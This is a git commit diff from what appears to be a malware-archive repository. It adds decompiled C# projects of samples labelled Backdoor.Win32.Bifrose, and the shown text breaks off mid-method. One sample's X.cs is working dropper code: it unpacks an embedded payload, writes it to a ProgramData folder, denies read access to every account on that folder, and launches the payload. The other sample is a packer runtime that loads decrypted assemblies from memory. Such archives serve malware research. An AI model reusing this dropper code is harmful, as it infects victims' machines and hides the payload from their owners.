auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,3 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{10E56AF5-4212-461C-8F60-8B20FD114586}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>تمويه</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>My</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="X.cs" />
<Compile Include="MyApplication.cs" />
<Compile Include="MyComputer.cs" />
<Compile Include="MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="M.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "تمويه", "Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.csproj", "{10E56AF5-4212-461C-8F60-8B20FD114586}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.Build.0 = Debug|Any CPU
{10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.ActiveCfg = Release|Any CPU
{10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ApplicationBase
{
}
}
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyComputer()
{
}
}
}
@@ -0,0 +1,108 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
[HideModuleName]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
@@ -0,0 +1,92 @@
// Decompiled with JetBrains decompiler
// Type: X
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Resources;
using System.Security.AccessControl;
using System.Security.Principal;
internal class X
{
[STAThread]
public static void main()
{
byte[] bytes = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A")));
string Path = Interaction.Environ("programdata") + "\\2";
string str = Path + "\\2.exe";
try
{
FileSystem.MkDir(Path);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
try
{
X.BD(ref Path);
File.WriteAllBytes(str, bytes);
Interaction.Shell(str);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
public static byte[] Z(byte[] Byt)
{
MemoryStream memoryStream = new MemoryStream(Byt);
GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
byte[] buffer = new byte[4];
memoryStream.Position = checked (memoryStream.Length - 5L);
memoryStream.Read(buffer, 0, 4);
int int32 = BitConverter.ToInt32(buffer, 0);
memoryStream.Position = 0L;
byte[] array = new byte[checked (int32 - 1 + 1)];
gzipStream.Read(array, 0, int32);
gzipStream.Dispose();
memoryStream.Dispose();
return array;
}
public static void BD(ref string Path)
{
DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All);
try
{
foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) accessControl1.GetAccessRules(true, true, typeof (NTAccount)))
{
try
{
DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All);
FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(accessRule.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny);
accessControl2.AddAccessRule(rule);
Directory.SetAccessControl(Path, accessControl2);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
}
}
@@ -0,0 +1,18 @@
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: ComVisible(false)]
[assembly: AssemblyProduct("Cursor")]
[assembly: AssemblyDescription("1")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCopyright("Copyright © 2010")]
[assembly: AssemblyTitle("Cursor")]
[assembly: AssemblyCompany("")]
[assembly: CLSCompliant(true)]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
@@ -0,0 +1,121 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Cursor</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualC" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CdotNetProtector_003E.cs" />
<Compile Include="_0082¼\_0082».cs" />
<Compile Include="_0082¼\_0082¶.cs" />
<Compile Include="_0082¼\_0082­.cs" />
<Compile Include="_0082¼\_0082©.cs" />
<Compile Include="_0082¼\_0082¦.cs" />
<Compile Include="_0082¼\_0082¢.cs" />
<Compile Include="_0082¼\_0082_0095.cs" />
<Compile Include="_0082¼\_0082_0094.cs" />
<Compile Include="_0082¼\_0082_008A.cs" />
<Compile Include="_0082¼\_0082_0084.cs" />
<Compile Include="_0082¼\_0081ù.cs" />
<Compile Include="_0082¼\_0081ò.cs" />
<Compile Include="_0082¼\_0081ì.cs" />
<Compile Include="_0082¼\_0081ã.cs" />
<Compile Include="_0082¼\_0081Ü.cs" />
<Compile Include="_0082¼\_0081Õ.cs" />
<Compile Include="_0082¼\_0081Î.cs" />
<Compile Include="_0082¼\_0081Ç.cs" />
<Compile Include="_0082¼\_0081Â.cs" />
<Compile Include="_0082¼\_0081¹.cs" />
<Compile Include="_0082¼\_0081³.cs" />
<Compile Include="_0082¼\_0081«.cs" />
<Compile Include="_0082¼\_0081§.cs" />
<Compile Include="_0082¼\_0081 .cs" />
<Compile Include="_0082¼\_0081_009C.cs" />
<Compile Include="_0082¼\_0081_0097.cs" />
<Compile Include="_0082¼\_0081_0093.cs" />
<Compile Include="_0082¼\_0081_0090.cs" />
<Compile Include="_0082¼\_0081_008B.cs" />
<Compile Include="_0082¼\_0081_0088.cs" />
<Compile Include="_0082¼\_0081_0083.cs" />
<Compile Include="_0082¼\_0081_0080.cs" />
<Compile Include="_0082¼\ä.cs" />
<Compile Include="_0082¼\Ê.cs" />
<Compile Include="_0082¼\1Ä.cs" />
<Compile Include="_0082¼\µ.cs" />
<Compile Include="_0082¼\Á.cs" />
<Compile Include="_0082¼\­.cs" />
<Compile Include="_0082¼\¨.cs" />
<Compile Include="_0082¼\´.cs" />
<Compile Include="_0082¼\±.cs" />
<Compile Include="_0082¼\ .cs" />
<Compile Include="_0082¼\_0094.cs" />
<Compile Include="_0082¼\_008D.cs" />
<Compile Include="_0082¼\_0088.cs" />
<Compile Include="_0082¼\_0086.cs" />
<Compile Include="_0082¼\_0082².cs" />
<Compile Include="_0082¼\_0082º.cs" />
<Compile Include="_0082¼\_0082³.cs" />
<Compile Include="_0082¼\_0082_009A.cs" />
<Compile Include="_0082¼\_0082¨.cs" />
<Compile Include="_0082¼\_0082§.cs" />
<Compile Include="_0082¼\_0082¥.cs" />
<Compile Include="_0082¼\_0082_008E.cs" />
<Compile Include="_0082¼\_0082_0088.cs" />
<Compile Include="_0082¼\_0081æ.cs" />
<Compile Include="_0082¼\_0081$.cs" />
<Compile Include="_0082¼\1_0081î.cs" />
<Compile Include="õ\ü.cs" />
<Compile Include="õ\ñ.cs" />
<Compile Include="õ\¿.cs" />
<Compile Include="õ\¦.cs" />
<Compile Include="õ\_0099.cs" />
<Compile Include="õ\_0081Ï.cs" />
<Compile Include="å\è.cs" />
<Compile Include="å\Ü.cs" />
<Compile Include="å\Ö.cs" />
<Compile Include="å\Ñ.cs" />
<Compile Include="å\®.cs" />
<Compile Include="å\_008E.cs" />
<Compile Include="å\_0082_009D.cs" />
<Compile Include="å\_0082_0098.cs" />
<Compile Include="å\_0082_0090.cs" />
<Compile Include="_0081é\_0081ê.cs" />
<Compile Include="_0081é\_0081Þ.cs" />
<Compile Include="_0081é\_0081Ù.cs" />
<Compile Include="PvLogiciels\dotNetProtector\RuntimeInterop.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.csproj", "{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.Build.0 = Debug|Any CPU
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.ActiveCfg = Release|Any CPU
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,651 @@
// Decompiled with JetBrains decompiler
// Type: PvLogiciels.dotNetProtector.RuntimeInterop
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using \u0081é;
using \u0082\u00BC;
using õ;
using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
namespace PvLogiciels.dotNetProtector
{
public class RuntimeInterop : IRuntime
{
internal Assembly[] ò;
internal Assembly \u0081\u00BD;
internal string \u0082\u00B4;
private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer();
internal RuntimeInterop() => this.ò = new Assembly[0];
internal unsafe Assembly \u0081â(IntPtr _param1)
{
int id = AppDomain.CurrentDomain.Id;
byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
_param1 = ptr;
int num1 = Marshal.ReadInt32(ptr);
int length1 = Marshal.ReadInt32(_param1, 4);
int length2 = Marshal.ReadInt32(_param1, 8);
IntPtr source1 = (IntPtr) (void*) (numPtr + 12);
IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12);
byte[] numArray = new byte[length1];
byte[] destination = numArray;
int length3 = length1;
Marshal.Copy(source1, destination, 0, length3);
Assembly assembly;
if (length2 != 0)
{
byte[] rawSymbolStore = new byte[length2];
Marshal.Copy(source2, numArray, 0, length2);
assembly = Assembly.Load(numArray, rawSymbolStore);
}
else
assembly = Assembly.Load(numArray);
Marshal.FreeCoTaskMem(_param1);
if ((object) assembly != null && num1 >= 0)
{
Type[] types = assembly.GetTypes();
IntPtr num2 = types[types.Length - 1].TypeHandle.Value;
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id);
}
return assembly;
}
internal static unsafe void Î(Assembly _param0)
{
string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0);
IntPtr ptr = IntPtr.Zero;
if (assemblyString != (string) null)
ptr = Marshal.StringToCoTaskMemAnsi(assemblyString);
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
if (!(ptr != IntPtr.Zero))
return;
Marshal.FreeCoTaskMem(ptr);
}
public virtual Assembly GetEntryAssembly()
{
if ((object) \u0081ê.\u0081\u0099 != null)
return \u0081ê.\u0081\u0099;
Assembly entryAssembly = Assembly.GetEntryAssembly();
if ((object) entryAssembly != null)
{
\u0081ê.\u0081\u0099 = entryAssembly;
return entryAssembly;
}
Assembly executingAssembly = Assembly.GetExecutingAssembly();
if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime"))
return (Assembly) null;
\u0081ê.\u0081\u0099 = executingAssembly;
return executingAssembly;
}
public static IRuntime InitRuntime()
{
RuntimeInterop runtimeInterop = new RuntimeInterop();
if (AppDomain.CurrentDomain.IsDefaultAppDomain())
{
AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit);
return (IRuntime) runtimeInterop;
}
AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084);
return (IRuntime) runtimeInterop;
}
public static void AppDomain_ProcessExit(object sender, EventArgs e)
{
GC.Collect();
GC.WaitForPendingFinalizers();
\u0082\u00BB.\u0081\u0086();
}
public virtual void NGenInitRuntime()
{
}
public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C();
public virtual long GetMacAddress() => \u0082\u00BB.Ç();
public virtual ulong GetBiosHash() => \u0082\u00BB.Ï();
public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id);
public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3)
{
IntPtr ptr = IntPtr.Zero;
if (Reserved3 != (string) null)
ptr = Marshal.StringToCoTaskMemAnsi(Reserved3);
IntPtr num1 = pReserved1.TypeHandle.Value;
int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
if (ptr != IntPtr.Zero)
Marshal.FreeCoTaskMem(ptr);
if (num2 == 2)
{
this.\u0081\u00BD = pReserved1.Assembly;
this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name;
int length = \u0082\u00BB.\u0081\u009B();
if (length != 0)
{
this.ò = new Assembly[length];
int index = 0;
if (0 < length)
{
do
{
this.ò[index] = (Assembly) null;
++index;
}
while (index < length);
}
}
}
return num2;
}
public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2)
{
IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size);
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2);
\u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer());
IntPtr num = Marshal.ReadIntPtr(ptr);
string str = (string) null;
if (num != IntPtr.Zero)
{
string stringAnsi = Marshal.PtrToStringAnsi(num);
Marshal.FreeHGlobal(num);
str = stringAnsi;
}
Marshal.FreeCoTaskMem(ptr);
if (!(coTaskMemAnsi != IntPtr.Zero))
return str;
Marshal.FreeCoTaskMem(coTaskMemAnsi);
return str;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor)
{
int num;
if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb)
{
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey);
int num1 = usb ? 1 : 0;
int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1);
if (coTaskMemAnsi != IntPtr.Zero)
Marshal.FreeCoTaskMem(coTaskMemAnsi);
return num2 != 0;
}
public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2)
{
int num;
if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num;
}
public virtual unsafe IntPtr GenProductKey(
Assembly pReserved,
IntPtr pKeys,
uint LicenseID,
ulong data)
{
sbyte* numPtr;
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe IntPtr GenProductKey(
Assembly pReserved,
IntPtr pKeys,
uint LicenseID)
{
sbyte* numPtr;
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey)
{
uint licenseId;
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return licenseId;
}
public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey)
{
uint num;
ulong productkeyData;
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return productkeyData;
}
public virtual unsafe IntPtr DecodeActivationString(
Assembly pReserved,
IntPtr pKeys,
IntPtr pActivationString)
{
byte* numPtr;
if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq)
{
sbyte* numPtr;
if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe IntPtr GetConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration)
{
sbyte* config;
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) config;
}
public virtual unsafe IntPtr GetConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
IntPtr pAssemblyFile)
{
sbyte* config;
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) config;
}
public virtual unsafe IntPtr GetConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
AssemblyName Name)
{
string name = Name.Name;
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
sbyte* config;
